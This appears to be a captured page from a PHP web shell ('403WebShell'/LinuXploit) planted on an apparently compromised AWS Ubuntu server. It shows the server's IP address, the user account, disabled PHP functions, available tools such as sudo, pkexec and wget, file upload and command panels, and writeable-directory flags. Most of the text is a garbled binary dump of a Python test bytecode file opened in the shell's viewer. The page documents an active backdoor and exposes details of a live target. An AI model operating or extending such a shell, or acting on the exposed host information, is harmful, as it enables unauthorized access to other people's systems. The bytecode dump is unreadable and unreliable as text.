Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_raise.cpython-310.pyc
o

�9j�5�@s�dZddlmZddlZddlZddlZdd�ZGdd�d�ZGdd	�d	ej�Z	Gd
d�dej�Z
Gdd
�d
ej�ZGdd�dej�ZGdd�dej�Z
Gdd�dej�Zedkr_e��dSdS)zTests for the raise statement.�)�supportNc
Cs2zt��ty}z	|jWYd}~Sd}~ww�N)�OSError�
__traceback__)�e�r�&/usr/lib/python3.10/test/test_raise.py�get_tbs��r	c@�eZdZdd�Zdd�ZdS)�ContextcCs|Srr��selfrrr�	__enter__�zContext.__enter__cCsdS)NTr)r
�exc_type�	exc_value�exc_tbrrr�__exit__rzContext.__exit__N��__name__�
__module__�__qualname__rrrrrrr�rc@sleZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)�	TestRaisec
Cs:z�ty}z|�dt|��WYd}~dSd}~ww)NzNo active exception)�RuntimeError�assertIn�str�fail�r
rrrr�test_invalid_reraises��zTestRaise.test_invalid_reraisec
CsZzzt��ty}z|}�d}~wwty,}z
|�||�WYd}~dSd}~wwr)�
IndexError�assertIsr)r
r�exc1�exc2rrr�test_reraise#s����zTestRaise.test_reraisecC�dd�}|�t|�dS)NcSs,ztd��ztd��tyY�w�N�foo�caught��	TypeError�KeyErrorrrrr�reraise0s�z.TestRaise.test_except_reraise.<locals>.reraise��assertRaisesr*�r
r,rrr�test_except_reraise/s	zTestRaise.test_except_reraisecCr%)Nc	Ssztd��ztd���r&r)rrrrr,<sz/TestRaise.test_finally_reraise.<locals>.reraise)r.r+r/rrr�test_finally_reraise;szTestRaise.test_finally_reraisecs$dd���fdd�}|�t|�dS)NcSs�rrrrrr�nested_reraiseGsz5TestRaise.test_nested_reraise.<locals>.nested_reraisecsztd����YdS�Nr'�r*r�r2rrr,Isz.TestRaise.test_nested_reraise.<locals>.reraiser-r/rr5r�test_nested_reraiseFszTestRaise.test_nested_reraisec
CsZzztd��t�d�ty,}z|�|jt�|�|j�WYd}~dSd}~wwr3)r*�
ValueError�assertIsInstance�__context__�assertIsNone�	__cause__rrrr�test_raise_from_NonePs��zTestRaise.test_raise_from_NonecCr%)NcSs8ztd��t��Wd��1swY�r3)r*rrrrrr,[s
��z-TestRaise.test_with_reraise1.<locals>.reraiser-r/rrr�test_with_reraise1Z�zTestRaise.test_with_reraise1cCr%)NcSs2ztd��t��td��1swY�r&)r*rr+rrrrr,es�z-TestRaise.test_with_reraise2.<locals>.reraiser-r/rrr�test_with_reraise2dr>zTestRaise.test_with_reraise2csBdd�}|��t��|�t�fdd��|�t�fdd��dS)Ncss�ztd��dV�)Nr'�r4rrrrr,os�z-TestRaise.test_yield_reraise.<locals>.reraisec�t��Sr��nextr��grr�<lambda>w�z.TestRaise.test_yield_reraise.<locals>.<lambda>crArrBrrDrrrFxrG)rCr.r*�
StopIterationr/rrDr�test_yield_reraisens
zTestRaise.test_yield_reraisecCs*Gdd�dt�}z|�tyYdSw)Nc@�eZdZdd�ZdS)z7TestRaise.test_erroneous_exception.<locals>.MyExceptioncS�t��r�rrrrr�__init__|�z@TestRaise.test_erroneous_exception.<locals>.MyException.__init__N�rrrrMrrrr�MyException{�rP)�	Exceptionrr�r
rPrrr�test_erroneous_exceptionzs�z"TestRaise.test_erroneous_exceptioncCs4Gdd�dt�}|�t��|�1swYdS)Nc@rJ)z@TestRaise.test_new_returns_invalid_instance.<locals>.MyExceptioncWst�Sr)�object)�cls�argsrrr�__new__�rNzHTestRaise.test_new_returns_invalid_instance.<locals>.MyException.__new__N)rrrrXrrrrrP�rQrP)rRr.r*rSrrr�!test_new_returns_invalid_instance�s�z+TestRaise.test_new_returns_invalid_instancec
Cs@zJd��ty}z|�t|�d�WYd}~dSd}~ww)NF)�z(3,))�AssertionError�assertEqualrrrrr�test_assert_with_tuple_arg�s��z$TestRaise.test_assert_with_tuple_argN)rrrrr$r0r1r6r<r=r?rIrTrYr]rrrrrs



	rc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�	TestCausec
Cs�z+z
zt�tytd�wty+}z|�|j�|�|j�d|_|�d}~wwty?}z|}WYd}~nd}~ww|�|j�|�|j�|�|j	t�dS)NF)
r*rRr7r:r;�
assertTrue�__suppress_context__�assertFalser8r9)r
�excrrrr�testCauseSyntax�s*�����zTestCause.testCauseSyntaxc
Cs>ztd�ty}z|�dt|��WYd}~dSd}~ww)N�zexception cause)r r*rrrrrrr�test_invalid_cause����zTestCause.test_invalid_causec
Cs<ztt�ty}z|�|jt�WYd}~dSd}~wwr)r r+r8r;rrrrr�test_class_cause�s��zTestCause.test_class_causec
CsBt�}zt|�ty }z|�|j|�WYd}~dSd}~wwr)r+r r!r;r)r
�causerrrr�test_instance_cause�s��zTestCause.test_instance_causecCs,Gdd�dt�}zt|�tyYdSw)Nc@rJ)z3TestCause.test_erroneous_cause.<locals>.MyExceptioncSrKrrLrrrrrM�rNz<TestCause.test_erroneous_cause.<locals>.MyException.__init__NrOrrrrrP�rQrP)rRr rrrSrrr�test_erroneous_cause�s�zTestCause.test_erroneous_causeN)rrrrcrergrirjrrrrr^�s	r^c@r
)�
TestTracebackc
Cs>zt��ty}z|�|jtj�WYd}~dSd}~wwr)r r8r�types�
TracebackTyperrrrr�test_sets_traceback�rfz!TestTraceback.test_sets_tracebackc
CsXt�}zt��|��ty+}z|�|j|�|�|jj|�WYd}~dSd}~wwr)r	r �with_traceback�assertNotEqualrr\�tb_nextr)r
�tbrrrr�test_accepts_traceback�s��z$TestTraceback.test_accepts_tracebackN)rrrrnrsrrrrrk�srkc@s$eZdZdd�Zdd�Zdd�ZdS)�TestTracebackTypecCst�r)r7rrrr�raiser�rzTestTracebackType.raiserc
Csxz|��Wnty}z	|j}WYd}~nd}~ww|�|jtj�|�|jt	�
��|�|jt�|�|j
t�|�|jjd�|�t��
|`Wd�n1sUwY|�t��d|_Wd�n1smwY|�t��||_Wd�n1s�wY|�t��||j_Wd�n1s�wYd|_|�|jd�t�}||_|�|j|�dS)N�asdf)rurRrr8rqrlrmr!�tb_frame�sys�	_getframe�tb_lasti�int�	tb_linenor.r*r7r	)r
rbrr�new_tbrrr�
test_attrs�s8�����
�zTestTracebackType.test_attrscCsbt�}t��}t�||dd�}|�|j|�|�|j|�|�|jd�|�|j	d�t�d|dd�}|�|jd�|�
t��t�d|dd�Wd�n1sRwY|�
t��t�|ddd�Wd�n1sowY|�
t��t�||dd�Wd�n1s�wY|�
t��t�||dd�Wd�dS1s�wYdS)Nr@��noznuh-uh)r	rxryrlrmr\rqrwrzr|r.r*)r
�other_tb�framerrrrr�test_constructors*���"�z"TestTracebackType.test_constructorN)rrrrur~r�rrrrrt�s#rtc@steZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)�TestContextc
CsNt�}z	z|�t��ty&}z|�|j|�WYd}~dSd}~wwr)r rr!r9r�r
�contextrrrr�$test_instance_context_instance_raise*s��z0TestContext.test_instance_context_instance_raisec
CsZt}z	z|�t��ty,}z|�|j|�|�|j|�WYd}~dSd}~wwr�r r�assertIsNotr9r8rr�rrr�!test_class_context_instance_raise6s��z-TestContext.test_class_context_instance_raisec
CsXt}zz|�t�ty+}z|�|j|�|�|j|�WYd}~dSd}~wwrr�r�rrr�test_class_context_class_raiseCs��z*TestContext.test_class_context_class_raisec
Cs`zzddWnt�Wnty(}z|�|jt�WYd}~dSd}~ww|�d�dS�Nr@r�No exception raised�rr8r9�ZeroDivisionErrorrrrrr�test_c_exception_contextPs���z$TestContext.test_c_exception_contextc
CsbzzddWntYWnty)}z|�|jt�WYd}~dSd}~ww|�d�dSr�)�xyzzy�	NameErrorr8r9r�rrrrr�test_c_exception_raise[s���z"TestContext.test_c_exception_raisec
Cs@zzWt�t�ty}z
|�|j�WYd}~dSd}~wwr)rr:r9rrrrr�test_noraise_finallyfs��z TestContext.test_noraise_finallyc
CsJz
zddWt�t�ty$}z|�|jt�WYd}~dSd}~ww�Nr@rr�rrrr�test_raise_finallyqs
��zTestContext.test_raise_finallyc
Cs�Gdd�d�}z|��ddWd�n1swYWnty:}z|�|jt�WYd}~dSd}~ww|�d�dS)Nc@r
)z8TestContext.test_context_manager.<locals>.ContextManagercSsdSrrrrrrr~rzBTestContext.test_context_manager.<locals>.ContextManager.__enter__cSstdSr)r�)r
�t�vrrrrrr�szATestContext.test_context_manager.<locals>.ContextManager.__exit__Nrrrrr�ContextManager}rr�r@rr�)r�r8r9r�r)r
r�rrrr�test_context_manager|s
����z TestContext.test_context_managerc
CsbzzddWWdSty}z|�d}~wwty0}z
|�|j�WYd}~dSd}~wwr�)r�r:r9rrrr�test_cycle_broken�s����zTestContext.test_cycle_brokencCs�z+ztWWdSty+}zzddWn	ty|�wWYd}~WdSd}~wwtyE}z|�|jj�WYd}~dSd}~wwr�)r�r�r�r:r9)r
�arrrr�test_reraise_cycle_broken�s ������z%TestContext.test_reraise_cycle_brokenc
Cs�td�}z|�ty6ztd��tyYnwztd��ty3}z|}WYd}~nd}~wwYnw|�|j|�dS)Nr�r(�new)rRr!r9)r
r�rb�raisedrrr�
test_not_last�s$����	zTestContext.test_not_lastcs dd����fdd�}|�dS)Ncss�zdVWdSw)Nr@rrrrr�gen�s�z"TestContext.test_3118.<locals>.genc
sV��}t|�z	zt�~t�ty*}z��|jt�WYd}~dSd}~wwr)rCr7r+rRr8r9)rEr�r�r
rr�f�s��z TestContext.test_3118.<locals>.fr)r
r�rr�r�	test_3118�s
zTestContext.test_3118cslddl�Gdd�d������fdd��t���}����t|jj�Wd�dS1s/wYdS)Nrc@rJ)z TestContext.test_3611.<locals>.CcSszddWdS�r�rrrrr�__del__�sz(TestContext.test_3611.<locals>.C.__del__N)rrrr�rrrr�C�rQr�c
sv��}zz�jWWdSty~���t�wty:}z��|jd���|jt�WYd}~dSd}~wwr)�x�AttributeError�collectr*rRrpr9r8)r�r�r�r��gcr
rrr��s���z TestContext.test_3611.<locals>.f)r�r�catch_unraisable_exceptionr\r��
unraisabler)r
�cmrr�r�	test_3611�s
"�zTestContext.test_3611N)rrrr�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr�)s


r�c@r
)�TestRemovedFunctionalitycCszttf�tyYdSwr)r r+r*rrrrr�test_tuples�s
�z$TestRemovedFunctionality.test_tuplescCszd�tyYdSwr3)r*rrrrr�test_strings�s
�z%TestRemovedFunctionality.test_stringsN)rrrr�r�rrrrr��sr��__main__)�__doc__�testrrxrl�unittestr	r�TestCaserr^rkrtr�r�r�mainrrrr�<module>s"};B?�

Youez - 2016 - github.com/yon3zu
LinuXploit